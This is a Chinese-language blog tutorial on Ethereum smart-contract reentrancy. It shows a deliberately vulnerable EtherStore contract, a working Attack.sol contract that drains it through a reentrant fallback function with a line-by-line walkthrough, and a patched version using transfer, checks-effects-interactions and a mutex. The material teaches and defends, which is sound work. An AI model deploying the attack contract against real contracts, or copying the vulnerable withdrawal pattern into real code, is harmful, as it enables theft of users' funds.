如何防止以太坊智能合约攻击-源码分析

Tiny熊

发布于 2022-04-08 14:05:20

8080

发布于 2022-04-08 14:05:20

文章被收录于专栏：深入浅出区块链技术

本文作者: aisiji[1]

本文通过编写一个有漏洞的合约，分析如何攻击、预防并修复漏洞。

Source: Undraw[2]

以太坊智能合约的一个特点——可以调用和利用来自外部合约的代码。

合约通常要处理 ether，经常会转移 ether 到各种外部用户地址。这些操作需要合约提交外部调用。这些外部调用可能被攻击者劫持，从而强制合约执行进一步的代码(通过 fallback 函数)，包括调用自己。

这种攻击被用于臭名昭著的DAO 攻击[3]。

了解漏洞

当合约把 ether 转移到一个未知地址时，可能会发生这种类型的攻击。攻击者可能在外部地址构建合约，在 fallback 函数中加入恶意代码。

因此，当一个合约向这个地址发送 ether 时，就会执行恶意代码。通常，恶意代码会在有漏洞的合约上执行一个函数，做一些开发者不希望的操作。

重入(reentrancy)这个词就来自外部恶意合约在有漏洞的合约调用函数，并且重新执行代码路径。

为了更清楚一点，我们看一个简单的有漏洞的合约EtherStore.sol，它是一个以太坊资金库，储户一个星期只能提取 1 ether：

contract EtherStore {

    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        require(msg.sender.call.value(_weiToWithdraw)());
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
    }
 }

-EtherStore.sol-

这个合约有两个 public 函数，depositFunds和withdrawFunds。

depositFunds函数只是简单的增加储户的余额。

withdrawFunds函数允许发送者指定要提取多少wei。

这个函数只在请求的取款小于等于 1 ether 并且一个星期内没有取款的情况下才会成功。

漏洞在 17 行，在这里合约向储户发送请求的 ether。

假设攻击者创建了一个攻击合约Attack.sol：

import "EtherStore.sol";

contract Attack {
  EtherStore public etherStore;

  // intialize the etherStore variable with the contract address
  constructor(address _etherStoreAddress) {
      etherStore = EtherStore(_etherStoreAddress);
  }

  function attackEtherStore() external payable {
      // attack to the nearest ether
      require(msg.value >= 1 ether);
      // send eth to the depositFunds() function
      etherStore.depositFunds.value(1 ether)();
      // start the magic
      etherStore.withdrawFunds(1 ether);
  }

  function collectEther() public {
      msg.sender.transfer(this.balance);
  }

  // fallback function - where the magic happens
  function () payable {
      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }
}

-Attack.sol-

怎样利用漏洞？

首先，攻击者可以创建恶意合约(假设地址为0x0… 123)，将EtherStore的合约地址作为唯一的构造函数参数。

这将把 public 变量etherStore初始化并指向被攻击合约。

然后攻击者将用大于等于 1 的一定数量的 ether(暂时假设为 1 ether)来调用attackEtherStore函数。

在这个例子中，我们还将假设许多其他用户已经在合约中存了 ether，比如，合约当前的余额是 10 ether。可能会出现下面的情况：

Attack.sol15 行: 用 1 ether 的msg.value(和大量 gas)调用EtherStore合约的depositFunds函数。发送者(msg.sender)是恶意合约(0x0… 123)，balances[0x0..123] = 1 ether
Attack.sol17 行: 恶意合约调用EtherStore合约的withdrawFunds函数，参数为 1 ether。这会绕过所有要求(EtherStore合约的 12-16 行)，因为之前没有发生过取款。
EtherStore.sol17 行: 向恶意合约发回 1 ether。
Attack.sol25 行: 向恶意合约的支付触发执行 fallback 函数。
Attack.sol26 行: EtherStore合约的总余额为 10 ether，现在是 9 ether，所以这个 if 语句通过了。
Attack.sol27 行: fallback 函数再次调用EtherStore的withdrawFunds函数，重新进入EtherStore合约。
EtherStore.sol11 行: 第二次对withdrawFunds调用，攻击合约存储的余额仍然是 1 ether，因为第 18 行代码还没有执行。因此我们仍然有balances[0x0..123] = 1 ether。lastWithdrawTime变量也是如此。再次，绕过了所有的请求。
EtherStore.sol17 行:攻击合约再次提取 1 ether。
重复步骤 4–8，直到不满足EtherStore.balance > 1, 如Attack.sol合约第 26 行那样。
Attack.sol26 行: 一旦EtherStore合约只有 1 ether(或者更少)，这个 if 语句就会执行失败。然后，EtherStore合约的 18、19 行就会执行(对每次withdrawFunds函数的调用)。
EtherStore.sol18、19 行: 设置余额与lastWithdrawTime 的映射，并且执行结束。

最后的结果是，除了 1 ether 不能提取，攻击者一笔交易从EtherStore合约提取了其他所有 ether。

如何避免漏洞

有很多常用技术可以帮助我们在合约中避免潜在的重入漏洞。

第一个就是在向外部合约发送 ether 时(尽可能)使用内置的transfer[4]函数。transfer 函数在外部调用时只发送 2300 gas，这不足以让目标地址/合约调用另一个合约(即，重入发送合约)。

第二种技术是确保所有修改状态变量的逻辑都发生在 ether 发出合约之前(或者任何外部调用之前)。在EtherStore的实例中，18、19 行应该放在 17 行之前。

在本地函数或者代码执行片段中，对未知地址的外部调用最好是最后一步操作。这叫做check-effect 交互模式[5]。

第三种技术是引入一个互斥——即，添加一个状态变量在代码执行期间锁定合约，组织重入调用。

在EtherStore.sol中使用这些技术(实际并不需要把三种都用上，这里是为了演示)，就是下面的防重入合约：

contract EtherStore {

    // initialize the mutex
    bool reEntrancyMutex = false;
    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(!reEntrancyMutex);
        require(balances[msg.sender] >= _weiToWithdraw);
        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
        // set the reEntrancy mutex before the external call
        reEntrancyMutex = true;
        msg.sender.transfer(_weiToWithdraw);
        // release the mutex after the external call
        reEntrancyMutex = false;
    }
 }

-EtherStore.sol-